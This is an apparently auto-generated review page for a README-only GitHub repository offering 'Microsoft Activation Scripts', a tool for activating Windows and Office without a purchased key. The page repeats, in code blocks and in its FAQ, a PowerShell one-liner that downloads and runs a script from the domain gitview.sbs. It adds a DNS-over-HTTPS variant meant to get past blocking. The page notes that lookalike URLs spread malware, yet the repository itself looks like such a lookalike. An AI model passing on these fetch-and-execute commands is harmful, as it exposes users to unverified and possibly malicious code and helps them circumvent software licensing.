Open-source project
supremeguardianhoist/Microsoft-Activation-Scripts avatar
supremeguardianhoist/Microsoft-Activation-Scripts

Microsoft-Activation-Scripts: What the MAS PowerShell Activator Actually Does

Open-source Windows and Office activator featuring HWID, Ohook, TSforge, and Online KMS activation methods, along with advanced troubleshooting.

1,541 stars0 forksUnknownLicense varies

At a glance

What is it?
Microsoft-Activation-Scripts (MAS) is a PowerShell-driven Windows and Office activator offering HWID, Ohook, TSforge and Online KMS methods. Here is how the menu works, how to run it, and where the README stops.
Who is it for?
Adopt Microsoft-Activation-Scripts only if you accept that the README is the entire published interface and that no licence file is present in the repository. If you need documented behaviour, a support contract or a compliance opinion, this is the wrong tool.
Can I use it commercially?
Not without permission. GitHub finds no licence file in the repository, and without a licence all rights are reserved by default: you may read the code but not reuse it. Check the README, or ask the authors, before using it.
Is it still maintained?
Yes. The repository last received commits 3 days ago.
What is it written in?
GitHub does not report a main language for this repository.

Answers come from the project's GitHub data, last synced on September 16, 2026, and from our analysis. They are not legal advice.

DEEP OPEN-SOURCE ANALYSIS

The Problem MAS Claims to Solve

Microsoft-Activation-Scripts targets a narrow audience: people running Windows 8.1, Windows 10, Windows 11 or Microsoft Office who need an activation method without buying a key through retail channels. The README frames the project as an "Open-source Windows and Office activator" and lists four methods by name: HWID, Ohook, TSforge and Online KMS. It also mentions Extended Security Updates (ESU), which matters for anyone keeping an older Windows build alive after its normal support window. The intended user is technical enough to open PowerShell, paste a command and read a numbered menu, but not necessarily a developer. There is no installer, no package, and no configuration file to edit. The whole interface is a terminal menu, and the README treats that menu as the product. What the repository does not state is who maintains it, what the licence is, or how the four methods differ in risk. That silence is the first thing a prospective user notices.

How the PowerShell Menu and the Four Methods Fit Together

The mechanism is a remote script fetch followed by immediate execution. The README explains that "the irm command in PowerShell downloads a script from a specified URL, and the iex command executes it." There is no local binary, no compiled component and no persistent service described anywhere in the repository. The data flow is therefore short: PowerShell resolves a hostname, pulls a script body, and evaluates it in the current session. Everything after that happens inside one process, which is why the README warns to "double-check the URL before executing the command." The four activation methods are presented as menu entries rather than as documented subsystems. The README tells the user to "type the number corresponding to one of the Green options," which implies that some menu entries are not recommended, though it never explains the colour coding. HWID, Ohook, TSforge and Online KMS are named but not described individually, so a reader cannot tell from this repository which method applies to which Windows or Office edition. That is a real gap, not a stylistic one: the choice of method is the main decision the tool asks the user to make, and the README leaves it to the menu.

Installing and Running MAS for the First Time

There is nothing to install in the conventional sense. The README's Method 1 is to open PowerShell from the Start Menu and paste a command. For Windows 8.1, 10 and 11, the documented command is:

bash
irm https://gitview.sbs?get=win-office-as | iex

After pressing Enter, the script downloads and runs, and a numbered menu appears. The README instructs the user to type the number for one of the Green options. If the endpoint is blocked by an ISP or DNS provider, the README gives a fallback that requires an updated Windows 10 or 11:

bash
iex (curl.exe -s --doh-url https://1.1.1.1/dns-query https://gitview.sbs?get=win-office-as | Out-String)

This variant routes the request through DNS-over-HTTPS at 1.1.1.1. The README also notes that enabling DoH in the browser can bypass the same blocking. The repository does not document an offline mode, a checksum for the fetched script, or a way to inspect the script before execution. The README states the latest version is 3.12, released 04-Jul-2026, which is the only version marker a user can compare against what the menu prints.

Where MAS Breaks Down or Becomes the Wrong Choice

The most concrete limitation is trust. The README itself says to "be cautious of third parties spreading malware disguised as MAS by altering the URL in the PowerShell command." That is an admission that the delivery mechanism is the weak point: a single character changed in the URL turns the tool into an attack. There is no signature check described, and the repository contains only a README.md at the top level, so there is no code to audit locally before running it. Network filtering is a second failure mode. The README notes that some ISPs and DNS providers block access to the project's domains, which is why the DoH fallback exists; if both paths are blocked, the documented route is exhausted. The README points to a troubleshooting page and a GitHub issues tracker for problems beyond that, but the repository itself does not describe error codes, rollback, or how to undo an activation. Anyone who needs documented rollback, an audit trail, or vendor support should look elsewhere. This is also the wrong tool in managed corporate environments where software execution policy, endpoint detection or licence compliance reviews apply, since the README offers nothing to satisfy those processes.

MAS Compared with Buying a Retail Key or Using KMS

The obvious alternative is a legitimate retail or volume licence key, which differs in approach at the level of authorisation: the key is issued by Microsoft and validated against Microsoft's servers, while MAS runs a local script that applies one of several activation methods. The second alternative is a conventional KMS server, which the README actually lists as one of the four methods (Online KMS), so MAS partly overlaps with that approach rather than replacing it. The practical difference is operational. A retail key produces a purchase record and a support path; MAS produces neither, and the repository contains no licence file, so the terms under which the code itself is distributed are not stated. A self-hosted KMS deployment requires infrastructure and configuration, whereas MAS requires one pasted command. That is the trade: far less setup, far less documentation and no compliance paper trail.

Maintenance, Versioning and Licence Status

The last push to the default branch was on 2026-09-16, so the repository is current as of that date. The README states the latest version is 3.12, released 04-Jul-2026, and the only top-level entry is README.md. That layout means there is no changelog, no release artefacts and no migration guide to read before upgrading. In practice an upgrade is implicit: because the script is fetched from a remote URL at run time, the user does not choose a version. Whatever the endpoint serves is what executes. That removes upgrade work but also removes the ability to pin a known-good build, which is a meaningful cost for anyone who needs reproducibility. On licensing, the repository as described carries no licence identifier and contains no LICENSE file, so a reader cannot determine the terms of use from what the repository publishes. That is a gap worth resolving before adoption, and it is a question for the maintainers rather than something this article can settle. Nothing here constitutes legal advice.

Editorial conclusion

Adopt Microsoft-Activation-Scripts only if you accept that the README is the entire published interface and that no licence file is present in the repository. If you need documented behaviour, a support contract or a compliance opinion, this is the wrong tool. Before running anything, verify the exact irm URL against the README on the main branch, confirm the menu shows version 3.12, and check whether your environment blocks the endpoint, since the README itself warns that third parties alter the URL to distribute malware. If any of those checks fails, do not execute the script at all.

Frequently asked questions

Are Microsoft-Activation-Scripts safe?

The README warns that third parties spread malware disguised as MAS by altering the URL in the PowerShell command, and it tells users to double-check the URL and verify the source before executing. It does not describe any signature or checksum verification for the fetched script.

What is the script to activate Microsoft Office?

The README gives one command for both Windows and Office: irm https://gitview.sbs?get=win-office-as | iex, run from PowerShell. After it downloads and executes, a numbered menu appears and the user types the number for one of the Green options.

What is a Windows 10 activation script?

In this project it is a PowerShell script fetched from a remote URL and executed with iex, which then presents a menu of activation methods. The README lists HWID, Ohook, TSforge and Online KMS as the available methods.

Is Microsoft-Activation-Scripts legal?

The repository contains only README.md and states no licence identifier, and the README does not discuss the legal status of the activation methods. The repository does not answer this question.

Is Microsoft-Activation-Scripts illegal?

The README does not address legality, and no licence file or licence identifier appears in the repository. Nothing published in the repository supports an answer either way.

Official sources

  1. Issues
  2. README
  3. supremeguardianhoist/Microsoft-Activation-Scripts on GitHub
Community notes

Community notes